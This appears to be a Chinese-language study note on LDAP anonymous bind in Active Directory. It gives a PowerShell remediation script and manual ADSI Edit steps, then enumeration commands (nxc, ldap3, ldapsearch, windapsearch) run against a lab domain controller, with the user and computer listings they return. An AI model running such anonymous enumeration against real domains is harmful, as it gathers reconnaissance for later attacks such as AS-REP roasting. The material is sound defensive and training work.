LDAP Anonymous Bind

1. 介绍

LDAP 匿名绑定是攻击者无需认证即可从 Active Directory 域获取信息的另一种方法。
这在 Windows Server 2000 域控制器上是默认开启的,之后的版本就不再默认开启了
但由于 Pre-Windows 2000 Compatible Access 组的缘故。从之前的版本迭代升级的域控仍然会保留之前的配置

2. 修复:

清除 AD 中目录服务对象内的 dsHeuristics 属性值。当该值设置为 0000002 时,允许匿名绑定。移除即可禁用匿名绑定
此外,还应确保 ANONYMOUS LOGON 对 Users CN 或其他对象(包括域对象本身)没有读取权限。
Pasted image 20260303001321.png

下面是一个修复脚本

# Obtain domain name, build LDAP path to the Directory Service object, connect as an ADSI object
$Dcname = Get-ADDomain | Select-Object -ExpandProperty DistinguishedName
$Adsi = 'LDAP://CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,' + $Dcname
$AnonADSI = [ADSI]$Adsi

# Clear the dSHeuristics attribute 
$AnonADSI.Properties["dSHeuristics"].Clear()
$AnonADSI.SetInfo()

# Remove ANONYMOUS LOGON read access on CN=Users
$ADSI = [ADSI]('LDAP://CN=Users,' + $Dcname)
$Anon = New-Object System.Security.Principal.NTAccount("ANONYMOUS LOGON")
$SID = $Anon.Translate([System.Security.Principal.SecurityIdentifier])
$adRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericRead"
$type = [System.Security.AccessControl.AccessControlType] "Allow"
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $SID,$adRights,$type,$inheritanceType
$ADSI.PSBase.ObjectSecurity.RemoveAccessRule($ace) | Out-Null
$ADSI.PSBase.CommitChanges()
  • 获取域 DN,构建指向配置分区中 CN=Directory Service 的 LDAP 路径,并以 ADSI 对象身份连接以实现读写访问
  • 清除 dSHeuristics 属性
  • 移除 CN=Users 上 ANONYMOUS LOGON 的显式 GenericRead 权限,以防止从未经身份验证的角度进行匿名 LDAP 绑定以读取用户对象

2.1. 手动修复步骤

打开 ADSI 编辑( adsiedit.msc ),右键单击 ADSI 编辑 --> 连接到 -->,并选择 Configuration 作为命名上下文
Pasted image 20260303001553.png

浏览至 CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=yourdomain,DC=com ,右键点击 CN=Directory Service 并选择 Properties
Pasted image 20260303001616.png
进入 Attribute Editor 后,向下滚动找到 dsHeuristics 属性并清空其值。
Pasted image 20260303001624.png

3. 枚举

LDAP匿名绑定允许未经验证身份的攻击者从域中检索信息,比如完整的用户、组、计算机列表、用户账户属性、域密码策略等信息。运行开源 LDAP 版本的 Linux 主机和 Linux vCenter 设备通常配置为允许匿名绑定。枚举LDAP信息可以获取到许多重要的信息,有助于后续的攻击路径确认,比如枚举出存在pre-authencation的用户,可以进行ASREPRoasting攻击。

3.1. nxc

nxc是现在最常用的枚举方式
下面是一个枚举域用户信息的例子

┌──(root㉿kali)-[~/Desktop/tmp]
└─# nxc ldap 10.129.42.188  -u '' -p '' --users
LDAP        10.129.42.188   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:INLANEFREIGHT.LOCAL) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.42.188   389    DC01             [+] INLANEFREIGHT.LOCAL\:
LDAP        10.129.42.188   389    DC01             [*] Enumerated 9 domain users: INLANEFREIGHT.LOCAL
LDAP        10.129.42.188   389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-                                               
LDAP        10.129.42.188   389    DC01             Guest                         <never>             0        Built-in account for guest access to the computer/domain    
LDAP        10.129.42.188   389    DC01             james.cross                   2020-12-07 14:05:36 0                                                                    
LDAP        10.129.42.188   389    DC01             htb-student                   2020-12-07 14:06:12 0                                                                    
LDAP        10.129.42.188   389    DC01             sarah.lafferty                2020-12-07 14:08:57 0                                                                    
LDAP        10.129.42.188   389    DC01             wilford.stewart               2020-12-07 14:10:14 0                                                                    
LDAP        10.129.42.188   389    DC01             sqldev                        2020-12-07 14:11:28 0                                                                    
LDAP        10.129.42.188   389    DC01             sqltest                       2020-12-07 14:14:41 0                                                                    
LDAP        10.129.42.188   389    DC01             sqlprod                       2020-12-07 14:14:47 0                                                                    
LDAP        10.129.42.188   389    DC01             kevin.gregory                 2020-12-07 14:18:31 0

3.2. Python

可以使用Python来判断目标是否存在LDAP匿名绑定

┌──(root㉿kali)-[~/Desktop/tmp]
└─# python3 -c "from ldap3 import Server, Connection, ALL; s = Server('10.129.42.188', get_info=ALL); c = Connection(s, '', ''); print(c.bind()); print(s.info)"
TrueDSA info (from DSE):
  Supported LDAP versions: 3, 2
  Naming contexts: 
    DC=INLANEFREIGHT,DC=LOCAL
    CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
    CN=Schema,CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
    DC=DomainDnsZones,DC=INLANEFREIGHT,DC=LOCAL
    DC=ForestDnsZones,DC=INLANEFREIGHT,DC=LOCAL
  Supported controls: 
<SNIP>
  • 如果c.bind()返回了true,那么就是存在匿名绑定

3.3. LdapSearch

使用 Ldapsearch 确认 LDAP 匿名绑定,并检索LDAP中所有的AD对象

ldapsearch -H ldap://10.┌──(root㉿kali)-[~/Desktop/tmp]
└─# ldapsearch -H ldap://10.129.42.188 -x -b "dc=inlanefreight,dc=local"
# extended LDIF
#
# LDAPv3
# base <dc=inlanefreight,dc=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# INLANEFREIGHT.LOCAL
dn: DC=INLANEFREIGHT,DC=LOCAL
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=INLANEFREIGHT,DC=LOCAL
instanceType: 5
whenCreated: 20201207164239.0Z
whenChanged: 20260307051721.0Z
subRefs: DC=ForestDnsZones,DC=INLANEFREIGHT,DC=LOCAL
subRefs: DC=DomainDnsZones,DC=INLANEFREIGHT,DC=LOCAL
subRefs: CN=Configuration,DC=INLANEFREIGHT,DC=LOCAL
uSNCreated: 4099
<SNIP>

3.4. Windapsearch

Windapsearch 是一个 Python 脚本,利用 LDAP 查询对 AD 用户、组和计算机执行匿名及经过身份验证的枚举。他比Ldapsearch用起来会更加简单,因为它不需要输入LDAP语句

┌──(root㉿kali)-[~/Desktop/tmp]
└─# git clone https://github.com/ropnop/windapsearch.git

┌──(root㉿kali)-[~/Desktop/tmp/windapsearch]
└─# python3 windapsearch.py --dc-ip 10.129.42.188 -u "" --functionality
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.129.42.188
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Functionality Levels:
[+]      domainControllerFunctionality: 2016
[+]      forestFunctionality: 2016
[+]      domainFunctionality: 2016
[+] Attempting bind
[+]     ...success! Binded as: 
[+]      None

[*] Bye!

  • --functionality:确认域功能级别

获取域用户列表

┌──(root㉿kali)-[~/Desktop/tmp/windapsearch]
└─# python3 windapsearch.py --dc-ip 10.129.42.188 -u "" -U             
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.129.42.188
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+]     ...success! Binded as: 
[+]      None

[+] Enumerating all AD users
[+]     Found 9 users: 

cn: Guest
cn: james.cross
cn: htb-student
cn: sarah.lafferty
cn: wilford.stewart
cn: sqldev
cn: sqltest
cn: sqlprod
cn: kevin.gregory


[*] Bye!

枚举计算机

┌──(root㉿kali)-[~/Desktop/tmp/windapsearch]
└─# python3 windapsearch.py --dc-ip 10.129.42.188 -u "" -C
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.129.42.188
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=INLANEFREIGHT,DC=LOCAL
[+] Attempting bind
[+]     ...success! Binded as: 
[+]      None

[+] Enumerating all AD computers
[+]     Found 1 computers: 

cn: DC01
operatingSystem: Windows Server 2019 Standard
operatingSystemVersion: 10.0 (17763)
dNSHostName: DC01.INLANEFREIGHT.LOCAL


[*] Bye!

此外还有一些其他工具,如ldapsearch-ad